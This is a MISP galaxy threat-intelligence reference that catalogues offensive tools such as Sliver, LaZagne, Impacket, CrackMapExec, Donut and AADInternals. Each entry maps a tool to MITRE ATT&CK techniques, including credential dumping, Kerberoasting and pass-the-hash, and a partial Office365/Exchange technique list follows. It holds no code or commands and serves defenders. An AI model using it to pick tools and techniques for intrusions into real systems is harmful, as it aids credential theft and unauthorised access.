* uses: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004" with estimative-language:likelihood-probability="almost-certain"

Table 5787. Table References

Links
https://attack.mitre.org/software/S0363
https://github.com/PowerShellEmpire/Empire
https://github.com/dstepanic/attck_empire
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools

Sliver - S0633

[Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)

The tag is: *misp-galaxy:mitre-tool="Sliver - S0633"*

Sliver - S0633 is also known as:

- Sliver

View relationships graph

Sliver - S0633 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

Table 5788. Table References

Links
https://attack.mitre.org/software/S0633
https://labs.bishopfox.com/tech-blog/sliver

RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-tool="RawDisk - S0364"*

RawDisk - S0364 is also known as:

- RawDisk

View relationships graph

RawDisk - S0364 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 5789. Table References

Links
https://attack.mitre.org/software/S0364
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp

LaZagne - S0349

[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)

The tag is: *misp-galaxy:mitre-tool="LaZagne - S0349"*

LaZagne - S0349 is also known as:

- LaZagne

View relationships graph

LaZagne - S0349 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 5790. Table References

Links
https://attack.mitre.org/software/S0349
https://github.com/AlessandroZ/LaZagne

Impacket - S0357

[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)

The tag is: *misp-galaxy:mitre-tool="Impacket - S0357"*

Impacket - S0357 is also known as:

- Impacket

View relationships graph

Impacket - S0357 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 5791. Table References

Links
https://attack.mitre.org/software/S0357
https://www.secureauth.com/labs/open-source-tools/impacket

Ruler - S0358

[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)

The tag is: *misp-galaxy:mitre-tool="Ruler - S0358"*

Ruler - S0358 is also known as:

- Ruler

View relationships graph

Ruler - S0358 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"

Table 5792. Table References

Links
https://attack.mitre.org/software/S0358
https://github.com/sensepost/notruler
https://github.com/sensepost/ruler

Nltest - S0359

[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)

The tag is: *misp-galaxy:mitre-tool="Nltest - S0359"*

Nltest - S0359 is also known as:

- Nltest

View relationships graph

Nltest - S0359 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5793. Table References

Links
https://attack.mitre.org/software/S0359
https://ss64.com/nt/nltest.html

Peirates - S0683

[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)

The tag is: *misp-galaxy:mitre-tool="Peirates - S0683"*

Peirates - S0683 is also known as:

- Peirates

View relationships graph

Peirates - S0683 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 5794. Table References

Links
https://attack.mitre.org/software/S0683
https://github.com/inguardians/peirates

ShimRatReporter - S0445

[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-tool="ShimRatReporter - S0445"*

ShimRatReporter - S0445 is also known as:

- ShimRatReporter

View relationships graph

ShimRatReporter - S0445 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5795. Table References

Links
https://attack.mitre.org/software/S0445
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

CARROTBALL - S0465

[CARROTBALL](https://attack.mitre.org/software/S0465) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://attack.mitre.org/software/S0465) has been used as a downloader to install [SYSCON](https://attack.mitre.org/software/S0464).(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-tool="CARROTBALL - S0465"*

CARROTBALL - S0465 is also known as:

- CARROTBALL

View relationships graph

CARROTBALL - S0465 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5796. Table References

Links
https://attack.mitre.org/software/S0465
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

Wevtutil - S0645

[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)

The tag is: *misp-galaxy:mitre-tool="Wevtutil - S0645"*

Wevtutil - S0645 is also known as:

- Wevtutil

View relationships graph

Wevtutil - S0645 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 5797. Table References

Links
https://attack.mitre.org/software/S0645
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

ROADTools - S0684

[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)

The tag is: *misp-galaxy:mitre-tool="ROADTools - S0684"*

ROADTools - S0684 is also known as:

- ROADTools

View relationships graph

ROADTools - S0684 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 5798. Table References

Links
https://attack.mitre.org/software/S0684
https://github.com/dirkjanm/ROADtools

CrackMapExec - S0488

[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)

The tag is: *misp-galaxy:mitre-tool="CrackMapExec - S0488"*

CrackMapExec - S0488 is also known as:

- CrackMapExec

View relationships graph

CrackMapExec - S0488 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 5799. Table References

Links
https://attack.mitre.org/software/S0488
https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference

Donut - S0695

[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)

The tag is: *misp-galaxy:mitre-tool="Donut - S0695"*

Donut - S0695 is also known as:

- Donut

View relationships graph

Donut - S0695 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5800. Table References

Links
https://attack.mitre.org/software/S0695
https://github.com/TheWover/donut
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://thewover.github.io/Introducing-Donut/

AADInternals - S0677

[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)

The tag is: *misp-galaxy:mitre-tool="AADInternals - S0677"*

AADInternals - S0677 is also known as:

- AADInternals

View relationships graph

AADInternals - S0677 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

Table 5801. Table References

Links
https://attack.mitre.org/software/S0677
https://github.com/Gerenios/AADInternals
https://o365blog.com/aadinternals
https://o365blog.com/aadinternals/

Mythic - S0699

[Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to "plug-n-play" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)

The tag is: *misp-galaxy:mitre-tool="Mythic - S0699"*

Mythic - S0699 is also known as:

- Mythic

View relationships graph

Mythic - S0699 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5802. Table References

Links
https://attack.mitre.org/software/S0699
https://docs.mythic-c2.net/
https://github.com/its-a-feature/Mythic
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617

o365-exchange-techniques

o365-exchange-techniques - Office365/Exchange related techniques by @johnLaTwC and @inversecos.

o365-exchange-techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

John Lambert - Alexandre Dulaunoy - Lina Lau - Thomas Patzke

AAD - Dump users and groups with Azure AD

AAD - Dump users and groups with Azure AD

The tag is: *misp-galaxy:cloud-security="AAD - Dump users and groups with Azure AD"*

AAD - PowerShell

AAD - PowerShell

The tag is: *misp-galaxy:cloud-security="AAD - PowerShell"*

AAD - Enumerate Domains

AAD - Enumerate Domains

The tag is: *misp-galaxy:cloud-security="AAD - Enumerate Domains"*

AAD - Enumerate Users

AAD - Enumerate Users

The tag is: *misp-galaxy:cloud-security="AAD - Enumerate Users"*

O365 - Get Global Address List: MailSniper

O365 - Get Global Address List: MailSniper

The tag is: *misp-galaxy:cloud-security="O365 - Get Global Address List: MailSniper"*

O365 - Find Open Mailboxes: MailSniper

O365 - Find Open Mailboxes: MailSniper

The tag is: *misp-galaxy:cloud-security="O365 - Find Open Mailboxes: MailSniper"*

O365 - User account enumeration with ActiveSync

O365 - User account enumeration with ActiveSync

The tag is: *misp-galaxy:cloud-security="O365 - User account enumeration with ActiveSync"*

End Point - Search host for Azure Credentials: SharpCloud

End Point - Search host for Azure Credentials: SharpCloud

The tag is: *misp-galaxy:cloud-security="End Point - Search host for Azure Credentials: SharpCloud"*

On-Prem Exchange - Portal Recon

On-Prem Exchange - Portal Recon

